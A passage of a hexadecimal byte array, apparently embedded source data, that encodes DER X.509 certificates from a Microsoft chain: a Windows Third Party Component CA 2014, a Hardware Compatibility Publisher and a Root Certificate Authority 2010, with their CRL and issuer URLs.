0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, 0x67, - 0x74, 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, 0x07, - 0x13, 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, 0x30, - 0x1C, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, 0x72, - 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, - 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x38, 0x30, 0x36, 0x06, 0x03, 0x55, - 0x04, 0x03, 0x13, 0x2F, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, - 0x74, 0x20, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x54, 0x68, - 0x69, 0x72, 0x64, 0x20, 0x50, 0x61, 0x72, 0x74, 0x79, 0x20, 0x43, 0x6F, - 0x6D, 0x70, 0x6F, 0x6E, 0x65, 0x6E, 0x74, 0x20, 0x43, 0x41, 0x20, 0x32, - 0x30, 0x31, 0x34, 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x39, 0x30, 0x36, 0x30, - 0x35, 0x31, 0x38, 0x33, 0x34, 0x30, 0x30, 0x5A, 0x17, 0x0D, 0x32, 0x30, - 0x30, 0x36, 0x30, 0x33, 0x31, 0x38, 0x33, 0x34, 0x30, 0x30, 0x5A, 0x30, - 0x81, 0x91, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, - 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x08, - 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, 0x67, 0x74, 0x6F, 0x6E, - 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, 0x07, 0x52, - 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, 0x30, 0x1C, 0x06, 0x03, - 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, - 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, - 0x6F, 0x6E, 0x31, 0x3B, 0x30, 0x39, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, - 0x32, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x57, - 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x48, 0x61, 0x72, 0x64, 0x77, - 0x61, 0x72, 0x65, 0x20, 0x43, 0x6F, 0x6D, 0x70, 0x61, 0x74, 0x69, 0x62, - 0x69, 0x6C, 0x69, 0x74, 0x79, 0x20, 0x50, 0x75, 0x62, 0x6C, 0x69, 0x73, - 0x68, 0x65, 0x72, 0x30, 0x82, 0x01, 0x22, 0x30, 0x0D, 0x06, 0x09, 0x2A, - 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, - 0x01, 0x0F, 0x00, 0x30, 0x82, 0x01, 0x0A, 0x02, 0x82, 0x01, 0x01, 0x00, - 0xE6, 0x0E, 0x76, 0xCA, 0xA9, 0x26, 0xC5, 0xB0, 0xC3, 0xAC, 0x62, 0x47, - 0x5F, 0x64, 0x72, 0xEF, 0xAD, 0xE7, 0x08, 0x65, 0xA6, 0xF9, 0xCB, 0x99, - 0x19, 0x4D, 0x40, 0x95, 0xAB, 0xB5, 0x59, 0xF6, 0x18, 0x2E, 0xC8, 0x34, - 0xB9, 0x84, 0x3F, 0x60, 0x64, 0x8E, 0x5B, 0xB8, 0xAF, 0x5A, 0xDC, 0x63, - 0x2C, 0x62, 0x18, 0x2D, 0x63, 0x19, 0x38, 0xF9, 0x39, 0xE6, 0xB5, 0xBA, - 0x61, 0x32, 0x5B, 0x84, 0x4C, 0x8C, 0x34, 0x06, 0x70, 0x6C, 0x56, 0xE5, - 0x2A, 0xA8, 0x61, 0x14, 0x56, 0x9A, 0x29, 0x13, 0xEE, 0x72, 0xB7, 0x5D, - 0xF6, 0xFF, 0xAE, 0xCA, 0x5D, 0xF7, 0xA6, 0x95, 0x20, 0x14, 0x79, 0xD4, - 0x66, 0xCD, 0x99, 0xFA, 0x7A, 0xD1, 0x53, 0x80, 0x2E, 0x50, 0x7B, 0xF8, - 0x99, 0x15, 0xD6, 0xCD, 0xA9, 0x51, 0xA0, 0xD1, 0xCE, 0x6F, 0x39, 0x44, - 0x9C, 0x7B, 0xA1, 0x02, 0xD0, 0xAA, 0x0C, 0x23, 0x2A, 0x93, 0x5C, 0xDA, - 0x8F, 0xCF, 0xDF, 0x14, 0x47, 0xE7, 0x84, 0x7A, 0x3A, 0x3C, 0xB2, 0x5F, - 0x7A, 0x2D, 0x15, 0x3D, 0x53, 0xD5, 0x02, 0xDF, 0xB5, 0x8A, 0x4C, 0x45, - 0xFC, 0x95, 0x26, 0x8A, 0x3D, 0xAA, 0x95, 0x7C, 0x7F, 0x20, 0x56, 0x3C, - 0xFC, 0xFB, 0x62, 0x38, 0x72, 0xAE, 0x2B, 0x62, 0xC1, 0x5A, 0x94, 0xE6, - 0x35, 0x29, 0xCE, 0x41, 0xE0, 0x4E, 0x3A, 0x97, 0x21, 0xC3, 0x19, 0x47, - 0x22, 0x65, 0x2C, 0xF9, 0x66, 0x6B, 0xD6, 0x3D, 0xFE, 0x39, 0x57, 0x79, - 0xBA, 0x6F, 0x8E, 0x50, 0x31, 0x18, 0x0B, 0xE5, 0x9F, 0x00, 0x31, 0xCC, - 0xC8, 0x1C, 0x84, 0xCE, 0x3A, 0xD1, 0x7F, 0x7F, 0xB2, 0x54, 0x4F, 0x08, - 0x99, 0x81, 0x34, 0x14, 0xC4, 0x89, 0x84, 0x53, 0xA9, 0x3A, 0x38, 0xAC, - 0x97, 0xA3, 0x0C, 0x47, 0x0A, 0x3C, 0xF4, 0x6A, 0x9D, 0x96, 0xE0, 0x82, - 0x7A, 0xDB, 0x80, 0x7B, 0x02, 0x03, 0x01, 0x00, 0x01, 0xA3, 0x82, 0x01, - 0xCC, 0x30, 0x82, 0x01, 0xC8, 0x30, 0x2C, 0x06, 0x03, 0x55, 0x1D, 0x25, - 0x04, 0x25, 0x30, 0x23, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, - 0x37, 0x0A, 0x03, 0x05, 0x06, 0x0B, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, - 0x37, 0x0A, 0x03, 0x05, 0x01, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, - 0x07, 0x03, 0x03, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x1D, 0x0E, 0x04, 0x16, - 0x04, 0x14, 0x70, 0xE0, 0xD7, 0xF2, 0x5B, 0x68, 0x52, 0xE3, 0x39, 0x11, - 0x4C, 0xD0, 0x98, 0x0A, 0xEA, 0x4F, 0x4E, 0x44, 0x48, 0x36, 0x30, 0x50, - 0x06, 0x03, 0x55, 0x1D, 0x11, 0x04, 0x49, 0x30, 0x47, 0xA4, 0x45, 0x30, - 0x43, 0x31, 0x29, 0x30, 0x27, 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x20, - 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x4F, 0x70, - 0x65, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x73, 0x20, 0x50, 0x75, 0x65, - 0x72, 0x74, 0x6F, 0x20, 0x52, 0x69, 0x63, 0x6F, 0x31, 0x16, 0x30, 0x14, - 0x06, 0x03, 0x55, 0x04, 0x05, 0x13, 0x0D, 0x32, 0x33, 0x32, 0x31, 0x34, - 0x37, 0x2B, 0x34, 0x35, 0x35, 0x34, 0x33, 0x37, 0x30, 0x1F, 0x06, 0x03, - 0x55, 0x1D, 0x23, 0x04, 0x18, 0x30, 0x16, 0x80, 0x14, 0xC8, 0x3A, 0x9C, - 0xA7, 0x4A, 0xC3, 0x23, 0xF2, 0x25, 0x7E, 0xB9, 0xDA, 0xAB, 0x29, 0x53, - 0x0E, 0x54, 0x00, 0xC3, 0xA1, 0x30, 0x74, 0x06, 0x03, 0x55, 0x1D, 0x1F, - 0x04, 0x6D, 0x30, 0x6B, 0x30, 0x69, 0xA0, 0x67, 0xA0, 0x65, 0x86, 0x63, - 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x6D, - 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x63, 0x6F, 0x6D, - 0x2F, 0x70, 0x6B, 0x69, 0x6F, 0x70, 0x73, 0x2F, 0x63, 0x72, 0x6C, 0x2F, - 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x25, 0x32, 0x30, - 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x25, 0x32, 0x30, 0x54, 0x68, - 0x69, 0x72, 0x64, 0x25, 0x32, 0x30, 0x50, 0x61, 0x72, 0x74, 0x79, 0x25, - 0x32, 0x30, 0x43, 0x6F, 0x6D, 0x70, 0x6F, 0x6E, 0x65, 0x6E, 0x74, 0x25, - 0x32, 0x30, 0x43, 0x41, 0x25, 0x32, 0x30, 0x32, 0x30, 0x31, 0x34, 0x2E, - 0x63, 0x72, 0x6C, 0x30, 0x81, 0x81, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, - 0x05, 0x07, 0x01, 0x01, 0x04, 0x75, 0x30, 0x73, 0x30, 0x71, 0x06, 0x08, - 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x02, 0x86, 0x65, 0x68, 0x74, - 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x6D, 0x69, 0x63, - 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x70, - 0x6B, 0x69, 0x6F, 0x70, 0x73, 0x2F, 0x63, 0x65, 0x72, 0x74, 0x73, 0x2F, - 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x25, 0x32, 0x30, - 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x25, 0x32, 0x30, 0x54, 0x68, - 0x69, 0x72, 0x64, 0x25, 0x32, 0x30, 0x50, 0x61, 0x72, 0x74, 0x79, 0x25, - 0x32, 0x30, 0x43, 0x6F, 0x6D, 0x70, 0x6F, 0x6E, 0x65, 0x6E, 0x74, 0x25, - 0x32, 0x30, 0x43, 0x41, 0x25, 0x32, 0x30, 0x32, 0x30, 0x31, 0x34, 0x2E, - 0x63, 0x72, 0x74, 0x30, 0x0C, 0x06, 0x03, 0x55, 0x1D, 0x13, 0x01, 0x01, - 0xFF, 0x04, 0x02, 0x30, 0x00, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, - 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, 0x05, 0x00, 0x03, 0x82, 0x02, 0x01, - 0x00, 0x31, 0x23, 0x14, 0x21, 0x70, 0x55, 0xAF, 0xC1, 0xA5, 0x75, 0x11, - 0x81, 0xC7, 0xD2, 0xD7, 0x61, 0x9B, 0x23, 0xBA, 0x17, 0x16, 0x6E, 0x6A, - 0xE6, 0xF3, 0x58, 0xB1, 0x69, 0x21, 0xC9, 0x25, 0xC6, 0xE3, 0xB7, 0x5C, - 0x31, 0xB9, 0x30, 0x35, 0xF3, 0x57, 0xC1, 0x54, 0xFE, 0x4D, 0x34, 0x70, - 0x19, 0xE9, 0x27, 0xDB, 0x19, 0x57, 0x19, 0x3B, 0x74, 0x1E, 0x33, 0x71, - 0xB4, 0x6F, 0x4D, 0x62, 0x12, 0xB3, 0xBE, 0xC9, 0x72, 0xD6, 0xFF, 0x22, - 0x97, 0xE8, 0xB1, 0xF2, 0x39, 0x1F, 0x84, 0x00, 0x45, 0x47, 0x1E, 0xE3, - 0x1C, 0x52, 0x4D, 0x4F, 0x5B, 0xF1, 0xCA, 0xE4, 0xA3, 0x2B, 0x73, 0xF6, - 0xE4, 0x8F, 0x51, 0xF7, 0x77, 0xBB, 0x5B, 0x8A, 0x72, 0x6D, 0xB2, 0xA3, - 0x87, 0xC7, 0xC8, 0xDF, 0x42, 0x28, 0x95, 0x40, 0xF4, 0xF3, 0xD2, 0x7B, - 0x37, 0xD4, 0xAB, 0x48, 0x54, 0xEF, 0xBA, 0x80, 0x90, 0x21, 0x87, 0x9F, - 0x32, 0x57, 0xD5, 0x67, 0x0D, 0x70, 0x00, 0x3A, 0x51, 0xD6, 0x2B, 0xBC, - 0x68, 0xE3, 0x45, 0xA7, 0x69, 0xF3, 0x7C, 0xCB, 0x3A, 0xD3, 0x36, 0xB7, - 0xB3, 0xC4, 0x94, 0xF5, 0xD5, 0x6E, 0xF8, 0x30, 0x02, 0x28, 0xD2, 0x98, - 0x35, 0xE5, 0x12, 0x9B, 0x07, 0x07, 0x42, 0xA2, 0x20, 0xF8, 0x3B, 0x6C, - 0x9D, 0x5E, 0x25, 0x89, 0xCF, 0x2E, 0x7A, 0x1F, 0x7B, 0x59, 0xCF, 0xC8, - 0x1C, 0xDA, 0x32, 0x32, 0xFC, 0x2F, 0xA4, 0x48, 0xD7, 0x36, 0xDB, 0x54, - 0x6D, 0xC4, 0xB2, 0x74, 0xCA, 0xD3, 0xDA, 0x83, 0x43, 0x3D, 0xEA, 0xA3, - 0xEB, 0x99, 0x19, 0xB2, 0x3A, 0xD0, 0x8D, 0xC4, 0x05, 0x5A, 0x80, 0x26, - 0x71, 0x1A, 0xDC, 0xFC, 0xCD, 0xB4, 0x7D, 0x7A, 0x7C, 0x1A, 0xDB, 0x26, - 0x71, 0xEC, 0xC7, 0x19, 0x8A, 0x78, 0x69, 0x73, 0x80, 0x76, 0x99, 0xA0, - 0xEE, 0x23, 0x6A, 0x46, 0x77, 0x1F, 0x88, 0x91, 0x3B, 0x76, 0x96, 0x93, - 0xB0, 0xB8, 0xCE, 0x9B, 0x00, 0x2A, 0x40, 0xC2, 0xAA, 0x42, 0x6E, 0xDF, - 0xD9, 0xA9, 0x83, 0x68, 0xF8, 0x98, 0x17, 0xB0, 0xD1, 0x74, 0x45, 0x8A, - 0x39, 0x0E, 0x11, 0x62, 0x8E, 0x21, 0xF7, 0x7E, 0x75, 0x14, 0x31, 0xFA, - 0xE1, 0x38, 0x31, 0x22, 0x8E, 0x0E, 0x35, 0x76, 0x10, 0xA2, 0x4D, 0x89, - 0x80, 0x6D, 0x85, 0x39, 0x0E, 0x9B, 0x38, 0x31, 0x79, 0x2F, 0x62, 0x68, - 0x8B, 0xF0, 0x4F, 0x91, 0xEE, 0x9A, 0x85, 0x4B, 0x25, 0x24, 0x52, 0xDE, - 0x7E, 0x75, 0x2F, 0x39, 0xE5, 0x77, 0x65, 0xA0, 0x9A, 0x4F, 0xF4, 0x1A, - 0xE9, 0x61, 0x44, 0x59, 0x3A, 0x8A, 0x99, 0x68, 0x8C, 0x6C, 0x9A, 0xD6, - 0xB9, 0xFC, 0xAB, 0xA1, 0x18, 0x9E, 0xF2, 0x37, 0x2B, 0x99, 0xE9, 0x6D, - 0xB3, 0xFE, 0x64, 0x02, 0xB0, 0xE1, 0x25, 0xB1, 0x7F, 0x36, 0xC6, 0xF7, - 0x0F, 0xC1, 0xEB, 0x83, 0x25, 0x7C, 0xE6, 0x39, 0xB6, 0xC6, 0x91, 0xA9, - 0xEC, 0x03, 0x1D, 0xDD, 0xB9, 0xFA, 0x65, 0x36, 0xBB, 0x8E, 0x60, 0x80, - 0xC9, 0xDB, 0x97, 0x65, 0x33, 0xF4, 0xDD, 0xFB, 0x73, 0x30, 0x9B, 0x64, - 0x98, 0x54, 0x3C, 0xC9, 0x4D, 0x32, 0x83, 0xD4, 0x36, 0x68, 0xD6, 0x14, - 0xDD, 0x60, 0xA4, 0xFE, 0x70, 0x7E, 0xB3, 0xB8, 0x71, 0xDA, 0x32, 0x04, - 0xC5, 0x34, 0xC8, 0xCC, 0x73, 0xCB, 0xC6, 0x6A, 0xEB, 0x36, 0xCE, 0xFD, - 0x76, 0x54, 0x39, 0xEE, 0xF6, 0x8D, 0x7E, 0xE9, 0xC5, 0x15, 0xEB, 0x61, - 0x7F, 0x05, 0x1A, 0x72, 0x09, 0x7D, 0x0A, 0x25, 0x00, 0x3D, 0xF2, 0xDC, - 0xEC, 0xCC, 0x9A, 0x0C, 0x4B, 0xE1, 0xFD, 0x27, 0xE4, 0x73, 0x95, 0x5C, - 0xC8, 0x3E, 0xE9, 0xDB, 0xA6, 0x26, 0x74, 0x8B, 0x1C, 0xB7, 0x23, 0xC3, - 0xB1, 0xC8, 0xB8, 0xEB, 0xC5, 0x93, 0x21, 0xA0, 0xF5, 0x30, 0x82, 0x07, - 0x50, 0x30, 0x82, 0x05, 0x38, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x13, - 0x33, 0x00, 0x00, 0x00, 0x0D, 0x69, 0x0D, 0x5D, 0x78, 0x93, 0xD0, 0x76, - 0xDF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0D, 0x30, 0x0D, 0x06, 0x09, 0x2A, - 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, 0x05, 0x00, 0x30, 0x81, - 0x88, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, - 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x08, 0x13, - 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, 0x67, 0x74, 0x6F, 0x6E, 0x31, - 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, 0x07, 0x52, 0x65, - 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, 0x30, 0x1C, 0x06, 0x03, 0x55, - 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, - 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, - 0x6E, 0x31, 0x32, 0x30, 0x30, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x29, - 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x52, 0x6F, - 0x6F, 0x74, 0x20, 0x43, 0x65, 0x72, 0x74, 0x69, 0x66, 0x69, 0x63, 0x61, - 0x74, 0x65, 0x20, 0x41, 0x75, 0x74, 0x68, 0x6F, 0x72, 0x69, 0x74, 0x79, - 0x20, 0x32, 0x30, 0x31, 0x30, 0x30, 0x1E, 0x17, 0x0D, 0x31, 0x34, 0x31, - 0x30, 0x31, 0x35, 0x32, 0x30, 0x33, 0x31, 0x32, 0x37, 0x5A, 0x17, 0x0D, - 0x32, 0x39, 0x31, 0x30, 0x31, 0x35, 0x32, 0x30, 0x34, 0x31, 0x32, 0x37, - 0x5A, 0x30, 0x81, 0x8E, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, - 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, - 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, 0x67, 0x74, - 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, 0x07, 0x13, - 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, 0x30, 0x1C, - 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, 0x72, 0x6F, - 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, - 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x38, 0x30, 0x36, 0x06, 0x03, 0x55, 0x04, - 0x03, 0x13, 0x2F, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, - 0x20, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x54, 0x68, 0x69, - 0x72, 0x64, 0x20, 0x50, 0x61, 0x72, 0x74, 0x79, 0x20, 0x43, 0x6F, 0x6D, - 0x70, 0x6F, 0x6E, 0x65, 0x6E, 0x74, 0x20, 0x43, 0x41, 0x20, 0x32, 0x30, - 0x31, 0x34, 0x30, 0x82, 0x02, 0x22, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, - 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, 0x05, 0x00, 0x03, 0x82, 0x02, - 0x0F, 0x00, 0x30, 0x82, 0x02, 0x0A, 0x02, 0x82, 0x02, 0x01, 0x00, 0xCB, - 0x5F, 0x1E, 0xAB, 0x51, 0xF4, 0xD3, 0x7D, 0x61, 0x2D, 0xD2, 0x19, 0x9A, - 0xBD, 0x25, 0xFD, 0x97, 0x5C, 0x75, 0xCD, 0xCC, 0x23, 0xB0, 0x99, 0x55, - 0xF2, 0xB9, 0x80, 0x03, 0x36, 0x6A, 0x6F, 0x80, 0xC6, 0x0C, 0xB5, 0xBA, - 0x3C, 0x27, 0x45, 0x04, 0x06, 0x15, 0x6B, 0xAD, 0x0E, 0xDE, 0x7E, 0x47, - 0xAE, 0x38, 0x03, 0x73, 0x6B, 0x3D, 0x28, 0x13, 0x0D, 0x24, 0x2C, 0x2F, - 0x39, 0x18, 0x48, 0xA7, 0x46, 0x5E, 0x08, 0xA9, 0xC4, 0x53, 0x60, 0xC9, - 0x8C, 0x30, 0xA3, 0xC6, 0x7D, 0x63, 0x21, 0x46, 0xE0, 0x08, 0x93, 0x2F, - 0xB8, 0x95, 0x97, 0x6F, 0x29, 0xFF, 0x79, 0xD8, 0x8E, 0x97, 0x39, 0xC8, - 0x33, 0xA3, 0x57, 0x1E, 0x30, 0x72, 0x14, 0xEE, 0xB7, 0x7A, 0x7F, 0xFF, - 0x59, 0xDB, 0x35, 0xD0, 0x75, 0xE9, 0xC9, 0xB2, 0x72, 0x9D, 0x56, 0xC1, - 0xCB, 0xB7, 0x2C, 0xB7, 0xC7, 0x9B, 0x1E, 0x2F, 0x6B, 0x9D, 0xE0, 0x49, - 0x3A, 0x1B, 0xF4, 0x39, 0xD3, 0xBD, 0xA8, 0x0B, 0xA7, 0x69, 0x99, 0x5B, - 0x13, 0x1C, 0x4E, 0x67, 0x09, 0x37, 0xAE, 0xA0, 0xA8, 0x26, 0x65, 0x5A, - 0xBA, 0x7F, 0xAD, 0xBB, 0x49, 0xCA, 0x89, 0x06, 0x67, 0x22, 0xC5, 0xE8, - 0x92, 0x1B, 0x19, 0x8F, 0x02, 0x71, 0x1F, 0x5B, 0xC1, 0x74, 0x24, 0x06, - 0xAC, 0xE8, 0x7A, 0x28, 0xA9, 0x68, 0x83, 0xA4, 0x42, 0xBC, 0x2F, 0x24, - 0x7E, 0x81, 0xF1, 0x7F, 0x27, 0x64, 0x8F, 0x70, 0x67, 0x68, 0xC3, 0x72, - 0xFB, 0x69, 0xD7, 0xE5, 0xF0, 0x0E, 0x2C, 0x22, 0x33, 0xE4, 0x1B, 0xC7, - 0x1B, 0xD7, 0x25, 0x4D, 0x2F, 0xFC, 0x76, 0xFB, 0x31, 0x7C, 0xF2, 0x98, - 0x9F, 0x8E, 0x1F, 0x6A, 0x99, 0x60, 0xAB, 0xBF, 0xF1, 0x32, 0x0F, 0xCA, - 0xFD, 0x33, 0x48, 0x9D, 0x59, 0x5C, 0x58, 0xAD, 0xE2, 0x3D, 0x29, 0x78, - 0x28, 0x30, 0x74, 0xC8, 0x35, 0x4E, 0xF2, 0xEF, 0x96, 0x18, 0x5A, 0xDB, - 0x60, 0xA8, 0xBE, 0xE7, 0xFD, 0x9A, 0xAC, 0xF9, 0xC0, 0x3D, 0xE3, 0x7D, - 0x4E, 0x4A, 0xCF, 0x0B, 0x65, 0xDF, 0x21, 0xA4, 0x71, 0xE4, 0x22, 0x22, - 0x83, 0xF2, 0x53, 0x60, 0x52, 0x8E, 0x51, 0x81, 0x3A, 0x35, 0xA0, 0xEA, - 0xE9, 0xFC, 0xC1, 0x75, 0xE0, 0x85, 0xC2, 0x06, 0x43, 0x2C, 0x93, 0x0E, - 0xD3, 0xB7, 0x62, 0xAF, 0x52, 0x27, 0x35, 0x73, 0x3F, 0xDB, 0x11, 0xA4, - 0x49, 0xF9, 0xBB, 0xE3, 0xDF, 0x3F, 0x95, 0xD9, 0xF9, 0xD4, 0x93, 0xE8, - 0x70, 0xD9, 0xAC, 0x5B, 0x08, 0x0C, 0x49, 0x31, 0x73, 0x5F, 0xC6, 0x53, - 0x2C, 0x9B, 0x09, 0x75, 0x48, 0x44, 0x33, 0x49, 0x99, 0x77, 0x30, 0x22, - 0x11, 0x81, 0xD4, 0x10, 0x56, 0x56, 0x2E, 0x24, 0xDC, 0x8C, 0xC4, 0x9B, - 0xB4, 0x15, 0xA3, 0x61, 0x8A, 0xD8, 0xC4, 0xEF, 0xE5, 0xCD, 0x44, 0xFB, - 0xAD, 0x74, 0xE8, 0x03, 0xA2, 0x6D, 0x69, 0xC0, 0x93, 0xA7, 0x76, 0xBF, - 0x16, 0xD9, 0x79, 0x51, 0xB2, 0xA8, 0x10, 0x90, 0x01, 0xDC, 0x87, 0x36, - 0x3E, 0x51, 0xAB, 0x71, 0xD9, 0xD1, 0x4E, 0x95, 0x8E, 0xE6, 0xD8, 0x5B, - 0xF3, 0xA9, 0x35, 0x70, 0x87, 0x09, 0x3B, 0x8C, 0x55, 0xF0, 0xD5, 0x73, - 0x35, 0x71, 0x14, 0xFE, 0x6B, 0x0E, 0x56, 0x15, 0xB3, 0x6B, 0x34, 0xBF, - 0x74, 0x05, 0xEE, 0xA0, 0x3B, 0x6D, 0xF8, 0x6E, 0x31, 0x12, 0xE2, 0x47, - 0xF4, 0x4B, 0xE7, 0xB7, 0x49, 0x0D, 0xEB, 0x65, 0xCB, 0xA1, 0x23, 0x84, - 0xA4, 0x7B, 0x5B, 0xF1, 0xE2, 0xFD, 0x64, 0x69, 0xCE, 0xB3, 0x1F, 0x1B, - 0x5B, 0x9F, 0x68, 0xF0, 0x75, 0x22, 0x78, 0x6F, 0xA8, 0x39, 0xCB, 0xF0, - 0xFE, 0xE4, 0xA6, 0x67, 0xB9, 0x0B, 0x46, 0x71, 0xFE, 0x7A, 0x7E, 0x75, - 0x13, 0x3E, 0x57, 0xE1, 0x56, 0x50, 0x9D, 0x02, 0x03, 0x01, 0x00, 0x01, - 0xA3, 0x82, 0x01, 0xA9, 0x30, 0x82, 0x01, 0xA5, 0x30, 0x10, 0x06, 0x09, - 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x15, 0x01, 0x04, 0x03, 0x02, - 0x01, 0x00, 0x30, 0x1D, 0x06, 0x03, 0x55, 0x1D, 0x0E, 0x04, 0x16, 0x04, - 0x14, 0xC8, 0x3A, 0x9C, 0xA7, 0x4A, 0xC3, 0x23, 0xF2, 0x25, 0x7E, 0xB9, - 0xDA, 0xAB, 0x29, 0x53, 0x0E, 0x54, 0x00, 0xC3, 0xA1, 0x30, 0x64, 0x06, - 0x03, 0x55, 0x1D, 0x20, 0x04, 0x5D, 0x30, 0x5B, 0x30, 0x06, 0x06, 0x04, - 0x55, 0x1D, 0x20, 0x00, 0x30, 0x51, 0x06, 0x0C, 0x2B, 0x06, 0x01, 0x04, - 0x01, 0x82, 0x37, 0x4C, 0x83, 0x7D, 0x01, 0x01, 0x30, 0x41, 0x30, 0x3F, - 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x02, 0x01, 0x16, 0x33, - 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x77, 0x77, 0x77, 0x2E, 0x6D, - 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x2E, 0x63, 0x6F, 0x6D, - 0x2F, 0x70, 0x6B, 0x69, 0x6F, 0x70, 0x73, 0x2F, 0x44, 0x6F, 0x63, 0x73, - 0x2F, 0x52, 0x65, 0x70, 0x6F, 0x73, 0x69, 0x74, 0x6F, 0x72, 0x79, 0x2E, - 0x68, 0x74, 0x6D, 0x30, 0x19, 0x06, 0x09, 0x2B, 0x06, 0x01, 0x04, 0x01, - 0x82, 0x37, 0x14, 0x02, 0x04, 0x0C, 0x1E, 0x0A, 0x00, 0x53, 0x00, 0x75, - 0x00, 0x62, 0x00, 0x43, 0x00, 0x41, 0x30, 0x0B, 0x06, 0x03, 0x55, 0x1D, - 0x0F, 0x04, 0x04, 0x03, 0x02, 0x01, 0x86, 0x30, 0x0F, 0x06, 0x03, 0x55, - 0x1D, 0x13, 0x01, 0x01, 0xFF, 0x04, 0x05, 0x30, 0x03, 0x01, 0x01, 0xFF, - 0x30, 0x1F, 0x06, 0x03, 0x55, 0x1D, 0x23, 0x04, 0x18, 0x30, 0x16, 0x80, - 0x14, 0xD5, 